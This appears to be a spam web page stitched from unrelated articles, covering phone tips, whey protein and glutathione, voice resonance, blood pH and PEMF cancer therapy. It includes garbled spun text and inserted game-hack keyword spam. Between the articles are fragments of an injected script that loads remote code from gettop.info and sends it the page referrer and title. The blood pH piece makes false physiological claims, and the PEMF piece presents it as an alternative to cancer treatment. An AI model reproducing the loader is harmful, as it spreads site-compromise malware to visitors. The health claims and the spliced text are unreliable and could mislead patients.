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Cell Phone Tips And Tricks For Amateurs

Mobile devices are incredibly popular today. Not many people will go without one and many appear to have a single. There are lots of things that they can do in addition to making cell phone calls. You’ve landed around the appropriate site if you need to understand more about cellular phones.

Solutions In android mobile app development – Some Insights

When you decrease your mobile phone into water, will not presume that it is not app developer salary any longer a bit of good and chuck it out. What you ought to do is eliminate the phone’s electric battery, and after that place your mobile phone in a plastic material case of rice. Excessive humidity should go out, hopefully making your product as it was just before the event.

Are you aware that regardless of where you might be, you will get aid by utilizing your mobile phone. You do not even need to maintain your phone’s protection location to utilize this particular service. The around the world cellular crisis number is 112. When you google app developers call 112 your mobile device metova.com app for developing apps will search for any present portable group to determine an unexpected emergency variety for the current place, in the case of a severe unexpected emergency. Even if your keyboard is secured, it is actually continue to easy to dial 112.

You likely make standard consumption of it in the typical day should you currently very own a smart phone. Move them away sometimes. This way, they are like computers. You happen to be helping your memory as well as the cell phone by itself by restarting it. With just a simple restart, you are able to really notice a difference within your cell phone.

Is your phone’s battery jogging out speedy? It might be as a result of weak indicate if that’s the truth. A fragile indicate places a substantial drain in the battery. In no way depart your phone anywhere exactly where it provides inadequate reception.

Touch screen phones come to be slow with time. For that reason, eventually, it’s going to get a little bit more difficult to update the operating system and applications android app source code. This will likely maximize the potential for your cell phone. Maintain the common and outdated or take a chance with a new upgraded mobile phone.

Should you devote lots of time using, text messaging and speaking the Internet in your cell phone, consider subscribing to an unlimited plan. It costs a little bit more than the prepare you currently have, but you will no longer have to bother about investing a ton on overage fees.

When buying a used cellphone, be sure to know what you are about purchasing from. Think about only getting from the reputable firm that can rear your obtain with some kind of guarantee. This can guard you if the app making mobile phone is faulty. If you opt for from someone, think about striving the device out before passing over anything.

Fully grasp your cellular phone prepare. These strategies could be quite sophisticated in between data allowances, full chat minutes or so, text messaging, and international charges. Prior to deciding to inadvertently great time via an allowance and obtain charged far more, know whatever you can and can’t do. This can save you a huge amount of cash on the monthly monthly bill.

You have most likely learned one thing you can take with you as you may proceed utilizing your cellphone. While much smaller than notebook computers, desktop computers and tablet pcs, these devices iphone app development company have countless wonderful capabilities. Utilize this advice to get additional out of your mobile phone usage.

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Bioctive Whey Protein And Its Role In Enhancing Glutathione Levels

***Bioctive whey protein and its role in enhancing glutathione levels

Bio-active whey protein refers to a mixture of globular proteins that are recovered from whey, the liquid by product obtained during cheese production (Smilkov, et al., 2013) . The protein composition in cow milk is 80% casein protein and 20% whey protein. Whey protein makes up 10% of whey’s dry weight. The protein is often made up of beta-lactoglobulin (65%), alpha-lactalbumin (25%), bovine serum albumin (8%), and immunoglobulins (Smilkov, et al., 2013) . A number of preclinical studies conducted in rodents have shown that whey protein might possess some anti-cancer and ant-inflammatory properties. Other studies have shown that the protein might have an effect on muscle growth, though this observation is debatable. Researchers are currently trying to understand if whey protein has any impact on human health (Smilkov, et al., 2013) .
Whey protein has been marketed as a dietary supplement under the name Immunocal (HMS-90). The name Immunocal is derived from the immune system effects. The supplement is globally marketed and sold as an all-natural non-prescription health product (Immunocal Health Benefits, 2013) . The protein holds several international patents and is medically recognized by several physician bodies around the globe, including the Physicians’ Desk Reference (“PDR” U.S.A) and the Compendium of Pharmaceutical Specialties (“CPS” Canada) (Immunocal Health Benefits, 2013) . Immunocal’s health benefits include providing the body with much needed amino acids, and raising glutathione levels (Immunocal Health Benefits, 2013) . According to unverified data, Immunocal provides cysteine, a glutathione precursor that is vital in the maintenance of a strong immune system (Immunocal Health Benefits, 2013) .
Glutathione (GSH) can be described as a tripeptide formed by gamma peptide linkages between the glutamate side-chain carboxyl group and the amine group of cysteine (Lupton, 2004) . Glutathione works as an antioxidant, and prevents damage to vital cell components as a result of reactive oxygen, including peroxides and free radicals. GSH is widely regarded as the master antioxidant in cellular defense (Lupton, 2004) . It also plays a vital role in the a number of cellular events including gene expression, cell proliferation and apoptosis, signal transduction, DNA and protein synthesis, cytokine production and immune response, and protein glutathionylation (Lupton, 2004) .
The tripeptide is produced by the liver and is able to function as an antioxidant in the lungs, Red blood cells, liver and the intestinal tract. It also helps in the removal of a wide range of toxins including those that come from heavy metals, cigarette smoking, alcohol, cancer chemotherapy and radiation (Lupton, 2004) .
In mammalian cells GSH concentrations range from 1 to 10mM, though reduced concentrations predominate over the oxidized form (GSSG). Studies indicate the maintenance of optimal ratios of GSH: GSSG is critical for survival, and the deficiency results into oxidative damage (Lupton, 2004) . GSH plays a critical role in the prevntion and control of a number of disorders, including autoimmune diseases, neurodegenerative diseases, diabetes and cancer (Lupton, 2004) .
Several molecular studies have been carried out to understand the interactions between specific whey proteins and tumor cells. In 1999, Svensson et al. conducted a molecular characterization of alpha-lactalbumin folding varriants that induce apoptosis in tumor cells but spare healthy cells (Svensson, et al., 1999) . Purification of the active fraction from other casein components was carried out by anion exchange chromatography, it was then retained by ion exchange and eluted after a high salt ingredient (Svensson, et al., 1999) . The active fraction was indicative of an N-terminal amino acid seqence identical to human milk alpha-lactalbumin, and post-translational modifications were ruled out by mass spectrometry (Svensson, et al., 1999) . Oligomers with high molecular weight exhibited kinetic stability and were found to have an essentially retained secondary structure but a less organized tertiary structure (Svensson, et al., 1999) . On comparison with native monomeric and molten globule alpha-lactalbumin, it was established that the active fraction contained oligomers of alpha-lactalbumin that have undergone a conformational switch toward a molten globule-like state (Svensson, et al., 1999) . The findings of the study suggested that there might be differences in biological properties between folding variants of alpha-lactalbumin (Svensson, et al., 1999) .
There are various studies that indicate a role by bio-active whey protein on the level of glutathione. A study was conducted by Baruchel and Viau to investigate the in vitro selective modulation of cellular glutathione by humanized native milk protein isolate in normal cells and rat mammary carcinoma(1996) . The study utilzed immunocal to establish the inhibitory activity of whey protein on mammary cell carcinoma cells and Jurkat T cells (Baruchel & Viau, 1996) . This was compared to normal peripheral blood mononuclear cells and related to the inhibitory activity to a selective depletion of intracellular glutathione sysnthesis (Baruchel & Viau, 1996) . The findings of the study showed that the use of humanized whey as food supplementation may have a direct impact on a clinical trial with adjuvant chemotherapy
A review conducted by Ross et al. focused on Immunocal and preservation of glutathione as a novel neuroprotective strategy for degenerative disorders of the nervous system (2012) . The study was based on the background that oxidative stress and glutathione (GSH) depletion are both established as key contributing factors to the pathogenesis of many devastating neurodegenerative diseases as a of free radical generation (Ross, Gray, Winter, & Linseman, 2012) . According to the study, strategies that increase or preserve levels of intracellular glutathione have been demonstrated to act in a neuroprotective manner, indicating that the augmentation of available GSH pool may be a promising therapeutic target for neurodegeneration (Ross, Gray, Winter, & Linseman, 2012) . The review discussed the capacity of cystine-rich, whey protein supplement (Immunocal) to enhance the de novo synthesis of GSH in neurons, and highlighted its potential therapeutic use in the mitigation of oxidative damage which forms a key component in the pathogenesis of various neurodegenerative diseases (Ross, Gray, Winter, & Linseman, 2012) .
The increasing knowledge on the impact of whey protein on the levels of GSH, has prompted a number of clinical trials to investigate how this works in various neurodegenerative diseases. An open-label clinical trial was conducted by Kern et al. to investigate the effects of using a cysteine-rich protein isolate in children with autism (Kern, Grannenmann, Gutman, & Trivedi, 2008) . The study was partly based on findings that show low levels of glutathione in children suffering autism, and that non-denatured whey protein could positively impact on glutathione levels (Kern, Grannenmann, Gutman, & Trivedi, 2008) . A preliminary investigation showed that many children with autism could easily feed on non-denatured whey protein isolate (immunocal) without experiencing any problems (Kern, Grannenmann, Gutman, & Trivedi, 2008) .
During the study, a 6-week open-label trial was conducted , in which 10 children with autism or autism spectrum disorder (ASD), aged between 3-15 years, were supplemented with NWPI (Immunocal) (Kern, Grannenmann, Gutman, & Trivedi, 2008) . Several procedures that measured the frequency and intensity of various side effects were completed at baseline (Kern, Grannenmann, Gutman, & Trivedi, 2008) .The findings of the study showed that seven out of ten children who took the supplement tolerated it well (Kern, Grannenmann, Gutman, & Trivedi, 2008) . Two children were discontinued due to possibe side effects, while another was discontinued due to challenges experienced in the adminstration of the supplement. (Kern, Grannenmann, Gutman, & Trivedi, 2008) . The fiindings of the study suggested that Immunocal can be used in a number of autistic children without raising the risk of possible side effects. However, further investigations were recommended to establish the efficacy in larger populations (Kern, Grannenmann, Gutman, & Trivedi, 2008) .
Other studies have shown that Immunocal may cause the depletion of GSH in cancer cells and, therefore, facilitate chemotherapy. A study conducted by Kennedy et al. in 1995 seemed to suggest that whey protein causes depletion of high glutathione (GSH) levels in tumor cells. The study investigated on the use of whey protein concentrate in the treatment of patients with metastatic carcinoma (Kennedyy, Konok, Bounous, Baruchel, & Lee, 1995) . The study was based on the belief that the high levels of glutathione concentration in tumor cells may have a role in resistance against chemotherapy. According to the study, a number of in-vitro assays showed that concentrations that induce GSH synthesis in normal human cells, a specially prepared whey protein concentrate, Immunocal, caused GSH depletion and, therefore, caused the inhibition of the growth of human breast cancer cells (Kennedyy, Konok, Bounous, Baruchel, & Lee, 1995) . On the basis of this background, five patients suffering from metastatic breast carcinoma, one with metastatic carcinoma of the liver, and one with metastatic carcinoma of the pancreas, were fed on 30 grams of whey protein concentrate daily for a period of six months (Kennedyy, Konok, Bounous, Baruchel, & Lee, 1995) . In six of the patients included in the study, the blood lymphocyte GSH levels were found to be substantially high on the onset, indicating a high tumor GSH levels (Kennedyy, Konok, Bounous, Baruchel, & Lee, 1995) . Two of the patients showed signs of tumor regression, normalization of hemoglobin and peripheral lymphocyte counts and steep drop in the level of GSH in lymphocytes towards normal levels (Kennedyy, Konok, Bounous, Baruchel, & Lee, 1995) . Two patients showed a stabilized tumor and increased hemoglobin levels, while in three of the patients the disease was seen to progress with a trend toward higher levels of GSH in lymphocytes (Kennedyy, Konok, Bounous, Baruchel, & Lee, 1995) . The results of the study seem to indicate that whey protein concentrate might deplete tumor cells of GSH and render them more vulnerable to chemotherapy (Kennedyy, Konok, Bounous, Baruchel, & Lee, 1995) .
Another study was conducted by Tsai et al. to investigate on the effect of patented whey protein isolate (Immunocal) on cytotoxicity of an anticancer drug (2000) . The human hepaloma cell line Hep G2 were roblox hack android left to grow in different media for four days, and cell apoptosis used to investigate the enhancing effect of whey protein on the cytotoxicity of a potential anticancer drug, baicalein (Tsai, Chang, Chen, & Lu, 2000) . The control groups were cultured in normal medium, while the other three groups were grown in Immunocal medium, baicalein medium, and a combination of Immunocal and baicalein (Tsai, Chang, Chen, & Lu, 2000) . The results showed that survival rates were much lower in cells grown in Immunocal and baicalein as compared to those grown in baicalein alone (Tsai, Chang, Chen, & Lu, 2000) . However, no significant differences were observed in the survival rates of cells grown in Immunocal. The researchers also demonstrated that immunocal reduced glutathione (GSH) in Hep G2 cells by a margin of between 20-40% and controlled the elevation of GSH, which was in response to baicalein (Tsai, Chang, Chen, & Lu, 2000) . The researchers concluded that Immunocal enhanced cytotoxicity of baicalein, and the increase in apoptotic cells was linked to the depletion of GSH in Hep G2 cells (Tsai, Chang, Chen, & Lu, 2000) .
Other studies have looked into click more details the effect of Immunocal on glutathione levels in some disease states. A study was conducted by Grey et al. to establish how whey protein supplementation impacted on the status of glutathione in young adult patients suffering from cystic fibrosis (2003) . The study was based on the background that the lung disease of cystic fibrosis is associated with a chronic inflammatory reaction and an over abundance of oxidants to relative antioxidants and, therefore, glutathione was crucial in the prevention of oxidants build-up in the lungs (Grey, Mohammed, Smountas, Bahlool, & Lands, 2003) . Twenty-one patients in stable condition were randomly administered with 10 g of Immunocal twice a day or a casein placebo for period of three months. Peripheral GSH was then utilized as a marker for lung GSH (Grey, Mohammed, Smountas, Bahlool, & Lands, 2003) . At baseline, the researchers did not find any significant differences in age, height, weight, percent body weight or percent ideal height, however, a 46.6% was observed following supplementation(Grey, Mohammed, Smountas, Bahlool, & Lands, 2003) . The findings indicate that dietary supplementation with a whey-based product can enhance glutathione levels in cystic fibrosis (Grey, Mohammed, Smountas, Bahlool, & Lands, 2003) .
A study conducted by Micke et al. investigated on the effects of long-term supplementation with whey proteins on plasma glutathione levels in HIV-infected patients (2002) . The study was based on the background that HIV infections are characterized by an enhanced oxidant burden and systematic deficiency of glutathione (GSH), a key anti-oxidant (Micke, Beeh, & Buhl, 2002) . During the study, up to 30 patients were randomized to a daily dose of 45 g whey proteins of either Protectamin or Immunocal for a period of two weeks. In the patients, the pre-therapy GSH levels were lower than normal, however, following two weeks of whey supplementation, plasma total GSH levels increased in the Protectamin group by 44+/- 56%, while the difference in the Immunocal group remained below significance (Micke, Beeh, & Buhl, 2002) . As a result, all patients in the trial were switched to Protectamin, and six month analysis showed that the total GSH plasma levels were significantly elevated (Micke, Beeh, & Buhl, 2002). The study established that supplementation with whey proteins persistently led to increased plasma levels of GSH in patients with advanced HIV infection (Micke, Beeh, & Buhl, 2002) .
A study was carried out by Watanabe et al to investigate nutritional therapy of chronic hepatitis by non-heated whey protein (2000) . The clinical efficacy of whey (Immunocal) was investigated in 25 patients with chronic hepatitis B or C (Watanabe, et al., 2000) . Casein was given for two weeks prior to Immunocal supplementation. The supplement was provided twice a day, both in the morning and evening for a period of 12 weeks. Investigations showed that Serum alanine aminotransferase (ALT) activity was reduced, while glutathione levels increased in six and five of eight patients diagnosed with chronic hepatitis B respectively (Watanabe, et al., 2000) . The findings of this study suggest that long-term supplement with Immunocal might be effective in enhancing liver functions in patients with chronic hepatitis (Watanabe, et al., 2000) .
Apart from the glutathione use in enhancing the fight against disease states, the oxidant plays a key role in athletic activities. Athletes use muscles more and, therefore, generate a lot of free radicals. Glutathione plays a key role in the elimination of such radicals. A study conducted by Lands et al investigated on the effect of supplementation with a cysteine donor on muscular performance (1999) . The study was based on the knowledge oxidative stress contributes to muscular fatigue, and glutathione is the major intracellular antioxidant that is dependent on the availability of cysteine lords mobile hacks (Lands, Grey, & Smountas, 1999) . They hypothesized that by giving a whey based supplement ( Immunocal) that is designed to augment intracellular GSH, performance would be improved (Lands, Grey, & Smountas, 1999) . Twenty healthy young adults were studied both pre and post-supplementation with either Immunocal or placebo (Lands, Grey, & Smountas, 1999) . The results showed that GSH increased significantly in the immunocal group, with no change in the placebo group (Lands, Grey, & Smountas, 1999) .
Summary
Glutathione has been established as one of the most important intracellular antioxidant. Whey protein provides cysteine, which is critical in the biosynthesis of glutathione. The studies reviewed indicate that whey protein plays a positive role in enhancing glutathione levels both in healthy and various disease states.

References

Baruchel, S., & Viau, G. (1996). In vitro selective modulation of cellular glutathione by a humanized native milk milk protein isolate in normal cells and rat mammary carcinoma model. Anticancer Res , 16 (3A): 1095-9.
Grey, V., Mohammed, S. R., Smountas, A. A., Bahlool, R., & Lands, L. C. (2003). Improved glutathione status in young adult patients with cystic fibrosis supplemented with whey protein. J Cyst Fibrosis , 2(4):195-8.
Immunocal Health Benefits. (2013). Retrieved August 4, 2013, from What is Immunocal:
Kennedyy, R. S., Konok, G. P., Bounous, G., Baruchel, S., & Lee, T. D. (1995). The use of a whey protein concentrate in the treatment of patients with metastatic carcinoma: a phase I-II clinical study. Anticancer , 15(6B):2643-9.
Kern, J. K., Grannenmann, B. D., Gutman, J., & Trivedi, M. H. (2008). Oral Tolerability of Cysteine-Rich Protein Isolate ( Immunocal) in Autism – A pilot Study. Journal of the American Nutraceutica Association , 11(1): 36 -41.
Lands, L. C., Grey, V. L., & Smountas, A. A. (1999). Effect of supplementation with a cysteine donor on muscular performance. J Appl Physiol , 87(4):1381-5.
Lupton, J. R. (2004). Glutathione metabolism and its implications for health . J Nutr , 134(3):489-92.
Micke, P., Beeh, K. M., & Buhl, R. (2002). Effects of long-term supplementation with whey proteins on plasma glutathione levels of HIV-infected patients. Eur J Nutr , 41(1):12-8.
Ross, E. K., Gray, J. J., Winter, A. N., & Linseman, D. A. (2012). Immunocal and the preservation of glutathione as a novel neuroprotective strategy for degenerative disorders of the nervous system. Recent Pat CNS Drug Discov , 7(3):230-5.
Smilkov, K., Petreska, T. I., Petrushevska, T. L., Petkovska, R., Hadjieva, J., Popovski, E., et al. (2013). Optimization of the formulation for preparing Lactobacillus casei loaded whey protein-Ca-alginate microparticles using full-factorial design. J Microencapsul .
svensson, M., Sabharwal, H., Hakansson, A., Mossberg, A. K., Liniunas, P., Leffler, H., et al. (1999). Molecular roblox cheats tool online characterization of alpha-lactaibumin folding variants that induce apoptosis in tumor cells. J Biol Chem , 5;274(10):6388-96.
Tsai, W. Y., Chang, W. H., Chen, C. H., & Lu, F. J. (2000). Enchancing effect of patented whey protein isolate (Immunocal) on cytotoxicity of an anticancer drug. Nutr Cancer , 38(2):200-8.
Watanabe, A., Okada, K., Shimizu, Y., Wakabayashi, H., Higuchi, K., Niiya, K., et al. (2000). Nutritional therapy of chronic hepatitis by whey protein (non-heated). J Med , 31 (5-6):283-302.document.currentScript.parentNode.insertBefore(s, document.currentScript);

Do You Know The Difference Between Your Throat Voice And Your Chest Voice

***Do You Know the Difference Between Your Throat Voice and Your Chest Voice?

When most people speak, they power their voice by means of their voice box and throat. To a lesser extent, the mouth and nasal cavities are more information also acting as resonators, aiding in the production of voiced sound. And, of course, you probably think this is normal. It may be normal for you but, in truth, there is a resonator that is missing in this picture.
That 5th resonator is your chest cavity. Those who use this, the largest of the resonators, as their primary sounding board include many radio and television broadcasters (although by no means are they all doing it!) and many actors, such as George Clooney, Kathleen Turner, Julia Ormond, and James Earl Jones, to name a few.
The difference in sound between the actors I just mentioned and those who do not power their voice in this manner can be staggering. When I am working with clients, I always have them switch between their ‘throat’ sound and their ‘chest’ sound. It is one of the share here easiest ways for them to not only hear their ‘real’ voice, but to see it and feel it as well.
By read here means of sound, the difference between the two is resonance. The voice powered by means of the chest cavity is deeper, richer, warmer and more mature-sounding.
By means of feel, the difference is the noticeable vibrations they feel in their chest when they speak in their ‘real’ voice.
By means of the visual, some can actually see the difference – and I can see it as well in many cases when my clients are pushing hard from their throat.
What is so fascinating about your ‘real’ voice is that when you find it, it feels better, it sounds better, and it is easier on your throat and vocal folds because you have immediately taken the pressure, the strain, the work one piece treasure cruise cheats hack off your voice box and throat. And, should you be suffering from vocal abuse, the abuse will end.
Your ‘real’ voice also takes less energy to produce and can be increased in volume without shouting. This is called projection and works much better at football games or when you are tempted to yell at your kids! I can’t tell you the number of people doing damage to their voice box and throat because of needless wear and tear on those delicate organs. Another great benefit of projection is that it won’t hurt your listeners’ ears.
Your voice may be just a good as (or even better than) that of Sean Connery or Kate Beckinsale; but, you will never know just how great it is until you make your chest cavity your primary sounding board.}

Did You Know Your Blood Ph Levels Could Be Keeping You In Pain

***Did You Know Your Blood Ph Levels Could Be Keeping You In Pain?

Remember the litmus test from high school chemistry lab? You stuck a small strip of litmus paper into a solution, and if it turned red, it meant the solution was acidic. If it turned blue, the solution was basic (alkaline).
Well, the body has its own sort of litmus test: It’s called your pH level. And many health care professionals consider a balanced pH level to be the key to good health.
The term pH stands for Potential Hydrogen, which is the concentration of hydrogen ions in a substance or solution. The pH range is 0 to 14. Human blood pH is ideally 7.35. Higher numbers indicate alkalinity; lower numbers indicate acidity.
Constricted muscles
The body simply cannot tolerate extended acid imbalances. In the early stages of an imbalance, symptoms may include such things as skin eruptions, headaches, allergies, colds and flu, and sinus problems. As things get further out of kilter, weakened systems start to give way. If tissue pH deviates too far to the acid side, oxygen levels decrease and cells die.
On the other side of the coin, it is virtually impossible for a health disorder or disease to sustain itself when your pH is in the neutral zone (7.0-7.4). At this level, the body has a strong immunity to diseases. Most Americans, however, have a pH level of 6.2 to 6.4.
When your pH is out of the normal range, all sorts of bad things happen. For one thing, disease-producing organisms thrive. This explains why some people exposed to certain bacteria or viruses get sick while others don’t.
Acidic conditions can cause muscles to constrict and inhibit the exchange of nutrients and waste products in muscle cells, causing fatigue, soreness, and pain. In fact, a pH imbalance affects all cellular activity in the body and can lead to a wide range of degenerative diseases and symptoms.
Among other things, acidic blood blocks vitamin absorption, creates toxic buildup in clogged cells, slows organ function, prevents proper digestion, creates excess gas and bloating, causes unhealthy weight gain, and speeds the aging process.
When pH is lower than 7.0, aging is accelerated because natural acid salts build up in the walls of your cells, causing them to stiffen and dry up. By the same token, share this site aging is slowed when acid waste is removed from the body.
How it happens
Diet and stressful lifestyle can directly affect the pH levels of all body fluids, which determines how well your immune system functions. A weakened immune system, of course, means low resistance to infections. High acid also allows LDL-cholesterol (the bad cholesterol) to build up faster in your arteries, damaging artery walls and creating plaque buildup.
High acidity enters your body when you eat processed foods, pre-packaged foods, sugary foods, pastas, dairy products (milk, cheese, ice cream, etc.), alcoholic beverages, drugs, table salt. Meats also promote acidity.
Stress plays a significant role in creating excess acid. This is why Type A personalities—who tend to live in a perpetual state of tension and rigidity—are prone to develop acidic conditions. If you don’t get enough sleep or exercise or face life-changing events—loss of a job, divorce, moving to a new city, etc.—your body probably has more acid than it can handle.
Restoring the balance
Moderate changes in your diet can help restore your pH balance. For starters, try eating more fresh fruits and vegetables, almonds, and yogurt. And go lighter on cheeses, soft drinks, alcohol, processed foods, and sweeteners (use raw honey instead). visit more information Roughly 75 percent of your diet should consist of alkaline-producing foods.
If these dietary changes seem click more details too oppressive, you might consider taking alkaline supplements. One recent study looked at whether supplementation with alkaline minerals would influence symptoms in patients with chronic low back pain. Researchers gave 82 such patients 30 grams of a lactose-based alkaline mineral supplement (Basica) daily over a period of four weeks in addition to their medication.
Pain symptoms were measured using the Arbus Low Back Pain Rating Scale. Average pain scores significantly dropped by 49 percent, total blood buffering capacity was significantly improved, and blood share this website pH increased. The conclusion: an unbalanced pH level may contribute to the symptoms of low back pain.
To lower your stress level, which will help put your pH reading in the normal range, you may want to try deep-breathing exercises and eating alkaline foods or what ever type of relaxation technique works for you. Moderate exercise—even walking 10 minutes a day—can also go a long way toward reducing stress and restoring balance, the key to good health.s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';

Breast Cancer And Pemf Therapy

***Breast Cancer and PEMF Therapy

Since many anticancer therapies are very general in their action of killing cancer cells and have dramatic side effects, different, effective, yet less toxic, approaches to treating cancers are necessary.
I previously reported on a study that looked at the use of pulsed electric fields on breast cancer in mice. Electric fields have both an electric and magnetic aspect to them. Very short pulse length pulsed electric fields, which don’t create heating to destroy tissue, were used. The frequency was 4 hertz. Two weeks after treatment, the growth of treated tumors was inhibited by 79%. MRI was used to assess the physical changes in the tumors. Various growth factors, including the development of new blood vessels, were strongly suppressed. As a control, normal skin was treated the same way as the tumors and showed no permanent changes. So, breast cancer tumors react differently to PEMFs, with a desirable cancer suppressive reaction, than normal tissue does. These results suggest that electromagnetic fields may be able to inhibit human breast cancer development and suppress tumor blood vessel growth, and may therefore serve as a new approach to the treatment for breast cancer.
New Study
In a new study, the authors studied the potential for ultra-low intensity and frequency PEMFs to kill breast cancer cells. They wanted to see if the PEMFs in question could show: 1) toxicity to breast cancer cells and; 2) and they were not harmful to healthy cells. Breast cancer cells and normal cells were exposed to PEMFs and cell death indices were measured to determine which PEMFs best kill breast cancer cells. The PEMF parameters tested were: 1) frequencies ranging from 20 to 50 Hz; 2) intensities ranging from 2 mT (20 Gauss) to 5 mT (50 Gauss) and; 3) exposure times ranging from 30-90 minutes per day for up to three days. These were to determine the more details optimum parameters for selective cancer cell killing. At the end of the study they found a discrete optimal window of vulnerability of breast cancer cells to PEMFs of 20 Hz frequency, 3 mT (30 Gauss) magnetic field intensity and exposure duration of 60 minutes per day. PEMFs applied at a repetition rate of 50 Hz did not produce any noticeable effects on cell viability. The amount of cell damage seen in response to PEMFs increased with time and was even more significant after three days of consecutive daily exposures. By contrast, the optimal PEMF usage found to be the most damaging to breast cancer cells was not damaging to normal cells, and were in fact slightly enhancing to normal cell function. However, based on the evidence from this study, other exposure times (that is, 90 minutes) and intensities 2 mT and 5 mT) were still very strongly effective for killing breast cancer cells, even though not optimal. That means that 20 Gauss and 50 Gauss PEMFs were also quite effective and both 60 minutes and 90 minute exposures were also effective.
A clear window of vulnerability of cancer cells to PEMFs exists; more is not necessarily better. That weaker fields, or less exposure to them, are less lethal, upon first impression, might seem somewhat intuitive. However, the fact that stronger, or longer, exposure to fields is less efficient at killing, implies some specificity of biological action, rather than a straightforward dose-dependent accumulation of generalized damage over susceptible cells. The most directly measurable effect of PEMFs on breast cancer cells in this study is that of induced cancer cell death (the medical term is apoptosis). Nonetheless, never mind cell death, even the capacity of PEMFs to slow the growth of a cancer cell also would be a positive clinical outcome and of relevance in advancing PEMF-based anti-cancer therapies.
Mechanisms in Play
The question becomes what is the mechanism of action of PEMFs in the killing of cancer cells. A commonly reported result of PEMF exposure is elevation of intracellular calcium level. In the context of the current study, 3 mT PEMFs at a frequency of 20 Hz for 60 minutes per day would create the “correct” combination of calcium signals that would most effectively result in cell death. Indeed, it has been shown in other studies that augmenting intracellular calcium compromises cancer cell survival.
Non-malignant cells are unaffected, or even fortified, by the PEMFs used in this study. Therefore, based on this research, using PEMF-based technologies, the greatest damage is done in breast cancer cells, supporting the possibility that it may be ultimately feasible to selectively remove cancer cells from an organism without click more details damaging normal tissues. The apparent lack of response of normal cells to PEMFs might suggest that their internal calcium control mechanisms are capable of balancing, or even exploiting, small increases in intracellular calcium concentrations. Breast cancer cells appear to not be able to withstand even modest changes in intracellular calcium levels. This conclusion is supported by other recently published studies.
While this study was done outside a human body, it lends very strong support to the possibility that breast cancer cells may be impacted in a healthy direction, while sparing surrounding normal cells. While it is not certain from this study whether these results would be best seen in the setting of actual cancer in humans or to prevent the development of cancer is still unknown. Since this research seems to indicate, as does much other research, that PEMFs do not seem to affect healthy cells in any negative way, PEMFs may be a very useful tool in both treating and preventing breast cancer.
Conclusion
Because we don’t have definitive research data to support this concept, I would not normally recommend using PEMF therapies as a sole solution. However, for those individuals who are not candidates for conventional therapies click more details or whose personal preferences prevent them from using conventional therapies, PEMFs may well be a good alternative. I think this may certainly apply itself well to the case of ductal carcinoma in situ [DCIS] of the breast, which is not considered a cancer, but rather a pre-cancer. A large percentage of women with DCIS never actually convert their DCIS process into actual cancer. Since conventional medicine cannot predict who will convert and who won’t, at this point, conventional medical practice treats these as cancers, which results in a significant risk of overtreatment for a lot of women. Again, PEMFs may well be a good alternative in this situation and the progress of the breast changes in DCIS may be monitored over time and if progression is confirmed, then more aggressive therapeutic measures may be applied.
The most important take away from these two studies is that PEMFs might prove useful as a non-invasive, additional treatment share this website to be combined with other common anti-cancer therapies. Based on this data it appears that PEMF-based anticancer strategies may represent a new therapeutic approach to treat breast cancer without affecting normal tissues and is done in a manner that is non-invasive.
REF:
Wu S, Wang Y, Guo J, Chen Q, Zhang J, Fang J. Nanosecond pulsed electric fields as a novel drug free therapy for breast cancer: An in vivo study. Cancer Lett. 2013 Oct 4. S0304-3835(13)00701-5.
Low intensity and frequency pulsed electromagnetic fields selectively impair breast cancer cell viability. Crocetti S(1), Beyer C, Schade G, Egli M, Fröhlich J, Franco-Obregón A. PLoS One. 2013 Sep 11;8(9).d.getElementsByTagName('head')[0].appendChild(s);

Blog #29 First Downs And Second Guesses

***Blog #29 – First Downs and Second Guesses

Well, folks, we have another national championship to attend and cheer for this fall. It’s the classic battle to see who is the best EIGHTH-GRADE football team in the nation.
Football University (FBU), the elite invitation-only football camps with NFL faculty designed for football athletes from grades six through 11, is staging the first Football University National Championship to determine the top eighth-grade youth football team in the country. This 32-team national championship begins Thanksgiving weekend and is five rounds long and features 32 state-based teams. The first three rounds will take place at regional sites and the semifinals and finals will take place at the Alamodome in San Antonio following the U.S Army All-American Bowl in January, 2012.
FYI, FBU is operated by the New Jersey-based sports marketing company All American Games, which owns and produces the U.S. Army All-American Bowl that airs on NBC each January, and is a leader in putting on youth and prep athletic events such as the Eastbay Youth All-American Bowl, American Baseball University, and the football reality show, « The RIDE. »
All American Games president Rich McGuinness is touting the event as « different. » He also is promoting it as « November Madness », a reference to NCAA basketball’s « March Madness. » « This is more than an all-star game or weekend tournament, » he says. « This is a real national championship. This is a chance to play with great athletes and represent your state. »
The event seems very organized. McGuinness states that the teams are composed of the top 35 athletes from madden mobile hack cheats online each state. Kids are identified through FBU’s network of state tournament directors, the more than 40 FBU camps in various U.S. cities, through nominations for the Eastbay Youth All-American Bowl games, and through those nominated on the tournament’s web page. For the first year, the tournament will have just 32 teams. However, plans are to expand the tournament next year to include some states that were turned down for this year’s event.
One unique aspect of the first weekend is that there will be both 7th- and 8th-grade games, with the 7th-grade games serving as as a « prelim » to the 8th-grade games. The top 7th-graders from each team will then be eligible to play for the 8th-grade team as a « taxi squad » of reserves. No mention is made of how the best 7th-grade players will be chosen. The FBU will provide uniforms to all athletes and bussing support for rounds three, four, and five.
Wow! This sounds like a phenomenal experience, right? Just wondering, though, for the kids who do qualify for these 7th- and 8th-grade state teams..when will they go to school during the course of this tournament? Let’s examine the time involved here. First, there will be invitations to try out. Then when the teams are chosen, there will be practice time involvement. Not to mention the time to drive to these tryouts and practices.
After the teams click more details are chosen, there is the time to travel to these regional sites for the first three rounds. And, of course, time to travel BACK from these regional sites. And if your team is lucky enough to qualify for the semifinals and finals, there is the time to travel to San Antonio, Texas for a couple weekends. Shall we talk about expenses to parents for the privilege of accompanying their sons to these events? Hotel, food, admission into games, gas for the car, airline travel at some time during this national championship race, etc. Naw, let’s not go there.
This is another classic case of overkill and youth sport abuse in my book. visit more information This is the football version of youth sport select teams, only a little more grandiose. It all sounds great on paper. But what you’re asking 7th and 8th grade lords mobile hacks boys and their parents to do borders on the ridiculous. There will be missed school time, most likely the Friday and Monday before and following the weekend tournament if extensive travel is needed. Not to mention missed work time for parents.
Middle school and junior high teachers and administrators will not be thrilled because they will be asked to give special privileges and homework arrangements to the students who qualify from their schools. Yes, the school folks will be proud that their student « made » the state team, but there are usually underlying consequences for missed school time, whether it’s excused absences or not. And with the players and parents having to pick up the majority of expenses, this will be a very costly venture for families.
But I guess there is actually a price for fame. And for those 7th- and 8th-grade football players and their families who participate in this national youth football championship, it may turn out to be a very high price.}

Aging Forget About It Keep Your Memory Sharp And Your Brain Young

